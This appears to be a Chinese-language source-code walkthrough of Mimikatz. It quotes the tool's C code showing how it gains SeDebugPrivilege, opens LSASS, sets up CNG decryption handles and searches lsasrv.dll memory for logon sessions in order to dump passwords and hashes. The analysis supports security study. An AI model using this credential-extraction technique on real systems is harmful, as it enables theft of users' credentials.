Mimikatz分析

目录

一些不太重要的代码就用图代替了。

image-20210923103735226

从输入命令到privilege::debug

程序开启,进入wmain函数 。

image-20210923010119724

先调用一个mimikatz_begin 输出logo以及做一些基本的准备工作(具体是啥准备工作就不管了)

image-20210923010227273

wmain中往下,调用mimikatz_dispatchCommand 并传入输入mimikatz的参数,这个函数检测输入的第一个字符是否为!或者*或者其他,然后使逻辑进入下一层。一般来说,mimikatz中我们输入的命令第一个字符都不是!或者*,所以会把我们的输入传入mimikatz_doLocal进行一个处理。

image-20210923010325691

这个函数会先将输入的字符分为module和command两部分,moudule就是::前的部分,command就是::后的部分。(privilege::debug privilege是module,debug是command)。然后循环遍历mimikatz_modlues结构体,直到找到对应的module中对应的command,然后执行其pCommand方法。

image-20210923010712051

一个mimikatz_modlues结构体的布局如下,这里以privilege为例。

image-20210923011158075

privilege::debug会调用kuhl_m_privilege_debug方法,其核心便是通过RtlAdjustPrivilege函数获取SeDebugPrivilege权。

TSTATUS kuhl_m_privilege_debug(int argc, wchar_t * argv[])
{
  return kuhl_m_privilege_simple(SE_DEBUG); \\SE_DEBUG的值是定义好的20,即SeDebugPrivilege对应的权限参数。
}

NTSTATUS kuhl_m_privilege_simple(ULONG privId)
{
  ULONG previousState;
  NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState); \\为当前进程获取SeDebugPrivilege权限
  if(NT_SUCCESS(status))
    kprintf(L"Privilege \'%u\' OK\n", privId);
  else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);
  return status;
}

这里它用到了一个关键API ,RtlAdjustPrivilege。这个API没有官方解释,但是根据民间的测试,它具有提权功能。

NTSTATUS RtlAdjustPrivilege
(
ULONG    Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
)

Privilege [In] Privilege index to change.                        
// 所需要的权限名称,可以到 MSDN 查找关于 Process Token & Privilege 内容可以查到

Enable [In] If TRUE, then enable the privilege otherwise disable.
// 如果为True 就是打开相应权限,如果为False 则是关闭相应权限

CurrentThread [In] If TRUE, then enable in calling thread, otherwise process.
// 如果为True 则仅提升当前线程权限,否则提升整个进程的权限

Enabled [Out] Whether privilege was previously enabled or disabled.
// 输出原来相应权限的状态(打开 | 关闭), 注意:该参数赋予空指针会出错,我测试过。

返回值大于等于0代表成功获得权限,小于0代表获取权限失败。

mimikatz中出现过的特殊语法

((LONG)(LONG_PTR)&(((type *)0)->field))

这里的type是一个结构体,field是结构体中的一个数据类型,通过这个语句可以得知field的在结构体中的偏移量

“ANSI C标准允许值为0的常量被强制转换成任何一种类型的指针, 并且转换结果是一个NULL指针,因此((type *)0)的结果就是一个类型为type *的NULL指针。 如果利用这个NULL指针来访问type的成员当然是非法的, 但&( ((type *)0)->field )的意图仅仅是计算field字段的地址。 聪明的编译器根本就不生成访问type的代码, 而仅仅是根据type的内存布局和结构体实例首址在编译期计算这个(常量)地址, 这样就完全避免了通过NULL指针访问内存的问题。 又因为首址为0,所以这个地址的值就是字段相对于结构体基址的偏移。

以上方法避免了实例化一个type对象,并且求值在编译期进行,没有运行期负担”

mimikatz常见API

kull_m_memory_copy

BOOL kull_m_memory_copy(OUT PKULL_M_MEMORY_ADDRESS Destination, IN PKULL_M_MEMORY_ADDRESS Source, IN SIZE_T Length)

根据Destination和Source的type,采取不同的行动,大致上是把Source中的某值放入Destination某处。

比较常见的type组合为Destination为KULL_M_MEMORY_TYPE_OWN,Source为KULL_M_MEMORY_TYPE_PROCESS。 这样就会把Source->hMemory->pHandleProcess->hProcess (指定的某进程句柄)偏移Source->address(进程中的偏移量)处获得的地址放入Destination->address ,例如将lsass进程句柄偏移到PEB后的内容放入Destination.address指针所指区域

rekurlsa

logonpasswords

rekurlas::logonpasswords,mimikatz最常用到的命令之一,用于从LSA中dump出明文密码或者hash。 但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。

pCommand执行了如下的命令

NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[])
{
  return kuhl_m_sekurlsa_getLogonData(lsassPackages, ARRAYSIZE(lsassPackages));
}

lsassPackages 是一个结构体,记录了安全相关模块的一些信息

image-20210923104350544

继续往下跟进

NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
{
  KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
  return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);
}

可以发现kuhl_m_sekurlsa_enum 使用了回调函数kuhl_m_sekurlsa_enum_callback_logondata,关于回调函数可以看看菜鸟教程的解释https://www.runoob.com/w3cnote/c-callback-function.html。跟进kuhl_m_sekurlsa_enum,这个函数很长,分开来看。

初始化各种变量,并调用kuhl_m_sekurlsa_acquireLSA方法

  KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData;
  ULONG nbListes = 1, i;
  PVOID pStruct;
  KULL_M_MEMORY_ADDRESS securityStruct, data = {&nbListes, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  BOOL retCallback = TRUE;
  const KUHL_M_SEKURLSA_ENUM_HELPER * helper;

  NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); //input information about lsass to cLsass

前面一堆是初始化一些变量,然后调用kuhl_m_sekurlsa_acquireLSA,这个函数大体是将lsass的一些信息放入cLsass变量,cLsass变量是sekurlsa模块文件( KUHL_M_SEKURLSA.c)中的一个结构体变量。

KUHL_M_SEKURLSA_CONTEXT cLsass = {NULL, {0, 0, 0}};

image-20210923163154755

cLsass刚初始化时

我们跟进kuhl_m_sekurlsa_acquireLSA方法,看它具体是做了什么。

kuhl_m_sekurlsa_acquireLSA 初始化变量并获取LSASS进程句柄

进去以后先定义一大堆变量

NTSTATUS status = STATUS_SUCCESS;
KULL_M_MEMORY_TYPE Type;
HANDLE hData = NULL;
DWORD pid, cbSk;
PMINIDUMP_SYSTEM_INFO pInfos;
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE;
PBYTE pSk;

紧随其后的是一大块嵌套if。第一层if便是判断cLsass中hLsassMem是否为false值,很显然是的(初始化定义的时候就是null,cLsass在初始化后还没有任何变动。)

然后在第二层if里判断pMinidumpName的真值(Minidump也是一个Command,用于离线提取hash),这个属性和cLsass一样也是存在于模块文件中的变量且默认为FALSE,所以会调用kull_m_process_getProcessIdForName函数(这个就先不细跟了)去获取lsass进程的进程pid并通过OpenProcess获取其进程句柄

if(!cLsass.hLsassMem)
  {
    status = STATUS_NOT_FOUND;
    if(pMinidumpName)
    {
      Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
      kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
      hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    }
    else
    {
      Type = KULL_M_MEMORY_TYPE_PROCESS;
      if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid)) //获取lsass.exe的pid
        hData = OpenProcess(processRights, FALSE, pid); //获取lsass.exe的进程句柄
      else PRINT_ERROR(L"LSASS process not found (?)\n");
    }

kuhl_m_sekurlsa_acquireLSA 向cLsass写入版本信息

再然后便是另外一个第二层的嵌套if判断逻辑,很多,但逻辑不难。 第二层lf判断了OpenProcess获取lsass.exe进程句柄是否成功

第三层if调用kull_m_memory_open并判断其返回值真值,这个函数根据传入的Type的值来采取不同行动,但大致都是将句柄塞进第三个参数指定的结构体的某处

第四层if判断Type值是否为KULL_M_MEMORY_TYPE_PROCESS_DMP,很显然不是的,sekurlsa::logonpasswords到这里不会进一步跟进了

在windows中会直接进入到给cLsass赋值,将版本信息等赋值到cLsass结构体中

image-20210923170351200

kuhl_m_sekurlsa_acquireLSA 生成CNG句柄

过后还有一个第四层If判断,它判断isError这个变量的真值。这个变量初始定义为false,所以代码会跟进这个if,这一层主要是给lsassLocalHelper变量赋值,这个变量会因为windows版本不同而不同,主要用于记录lsass进程的一些辅助信息

随后在接下来的第五层if里会调用lsassLocalHelper结构体中的initLocalLib方法并通过一个宏判断其返回值

(#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0))

if(!isError)
        {
          lsassLocalHelper = 
          #if defined(_M_ARM64)
            &lsassLocalHelpers[0]
          #else
            (cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
          #endif
          ;

          if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
          {
            //code
          }
NTSTATUS kuhl_m_sekurlsa_nt6_init()
{
  if(!NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit))
    kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory();
  return kuhl_m_sekurlsa_nt6_KeyInit;
}

NTSTATUS kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory()
{
  NTSTATUS status = STATUS_NOT_FOUND;
  ULONG dwSizeNeeded;
  __try
  {
    status = BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0);
    if(NT_SUCCESS(status))
    {
      status = BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
      if(NT_SUCCESS(status))
      {
        status = BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0);
        if(NT_SUCCESS(status))
          k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey);
      }
    }

    if(NT_SUCCESS(status))
    {
      status = BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0);
      if(NT_SUCCESS(status))
      {
        status = BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
        if(NT_SUCCESS(status))
        {
          status = BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0);
          if(NT_SUCCESS(status))
            kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey);
        }
      }
    }
  }
  __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){}
  return status;
}

以下是CNG API:

打开算法提供者:
BCryptOpenAlgorithmProvider

导入密钥:
BCryptGenerateSymmetricKey

创建密钥:
BCryptCreateHash
BCryptHashData
BCryptFinishHash
BCryptGenerateSymmetricKey

获取或设置算法属性:
BCryptGetProperty
BCryptSetProperty

执行加解密操作:
BCryptEncrypt
BCryptDecrypt

枚举提供者:
BCryptEnumRegisteredProviders

关闭算法提供者:
BCryptCloseAlgorithmProvider

销毁密钥:
BCryptDestroyKey

销毁哈希:
BCryptDestroyHash

可以在刚刚的代码里看见BCryptOpenAlgorithmProvider这种API,这种API用于密钥的生成。

NTSTATUS BCryptOpenAlgorithmProvider(
  BCRYPT_ALG_HANDLE *phAlgorithm,  //接收CNG 句柄
  LPCWSTR           pszAlgId,   //加密模式
  LPCWSTR           pszImplementation, //选定provider,如果为NULL则选用加密模式对应的默认provider
  ULONG             dwFlags //定义函数具体行为
);
https://docs.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptopenalgorithmprovider
NTSTATUS BCryptSetProperty(
  BCRYPT_HANDLE hObject, //CNG句柄
  LPCWSTR       pszProperty, //需要被设置的属性名
  PUCHAR        pbInput, //存储新属性值的缓冲区地址
  ULONG         cbInput, //缓冲区大小
  ULONG         dwFlags //一直为0
);
NTSTATUS BCryptGetProperty(
  BCRYPT_HANDLE hObject, //CNG句柄
  LPCWSTR       pszProperty, //需要被接受的属性名
  PUCHAR        pbOutput, //接收属性值的缓冲区地址
  ULONG         cbOutput, //缓冲区大小
  ULONG         *pcbResult, //一个用来接收被复制到缓冲区的字节数量的变量
  ULONG         dwFlags //一直为0
);

kuhl_m_sekurlsa_acquireLSA 核心部分

在if条件中生成CNG 句柄后,到这里就接近sekurlsa::logonpasswords的核心部分了 进入到此IF中一开始会根据windows版本来判断一些windows认证功能是否可用(livessp,tspkg,cloudap)

if(NT_SUCCESS(lsassLocalHelper->initLocalLib())) 
          {
          #if !defined(_M_ARM64)
            kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
          #endif
            kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
            kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
            if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent) //获取lsass中相关DLL的信息,若某dll存在则在lsasspackages变量中将其标记
            {
              kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
              if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module)) //通过LsaSrv.dll获取登录会话(lsasrv.dll是一个用于winnt操作系统的本地安全密码验证的动态链接库文件)
              {
                status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations); //提取用户密码的密钥
                if(!NT_SUCCESS(status))
                  PRINT_ERROR(L"Key import\n");
              }
              else PRINT_ERROR(L"Logon list\n");
            }
            else PRINT_ERROR(L"Modules informations\n");
          }

扫描lsass进程LDR链获取DLL信息

然后便是通过kull_m_process_getVeryBasicModuleInformations方法来获取lsass中相关DLL的信息,若某dll存在则在lsasspackages变量中将其标记 如下图,isPresent为1则标识该dll存在

image-20210926132358434

通过lsasrv.dll获取登录会话

向下,通过kuhl_m_sekurlsa_utils_search来通过LsaSrv.dll获取用户登录会话信息。具体是通过字符串匹配dll中的信息来达到获取用户登录会话信息的目的 我们跟进它,跟下去,会来到此处

image-20210926144335350

currentReference是根据版本确定的lsasrv详细信息,被定义在如下结构体,为如下结构体中的一项

image-20210926145917383

这里解释一下kull_m_memory_search中各参数意义: aLocalMemory.address 表示lsasrv.dll的一个地址,

image-20210926144505990

第二个参数currentReference->Search.Length比较简单,就是用于指定搜索长度

sMemory比较重要,

KULL_M_MEMORY_SEARCH sMemory = {{{pLib->Informations.DllBase.address, cLsass->hLsassMem}, pLib->Informations.SizeOfImage}, NULL};

image-20210926144733664

address记录lsasrv.dll在lsass进程中的偏移量(在kuhl_m_sekurlsa_msv_package.Module中定义的),hMemory记录lsass句柄的相关信息

我们跟进方法kull_m_memory_search

BOOL kull_m_memory_search(IN PKULL_M_MEMORY_ADDRESS Pattern, IN SIZE_T Length, IN PKULL_M_MEMORY_SEARCH Search, IN BOOL bufferMeFirst)

会来到此处。

image-20210926165444150

我们发现再一次调用了kull_m_memory_search,跟进会来到这里。这里的作用便是从lsass进程lsasrv.dll内存内容的开始一直循环查询,直到在lsasrv.dll内存内容中查询到与currentReference->Search.Pattern 表示的地址内容一致的 地址

BOOL WINAPI
RtlEqualMemory(
   void*  Destination,
   void*  Source,
   size_t Length
);

The RtlEqualMemory routine compares two blocks of memory to determine whether the specified number of bytes are identical.

image-20210926165737597

然后便是把CurrentPtr的信息放入sBuffer.result ,第二层kull_m_memory_search结束 第一层kull_m_memory_search通过sBuffer.result中的信息得到执行所找到的区域的指针,然后将该指针传出来放到sMemory.result里,再由一系列变化获得指向登陆令牌的指针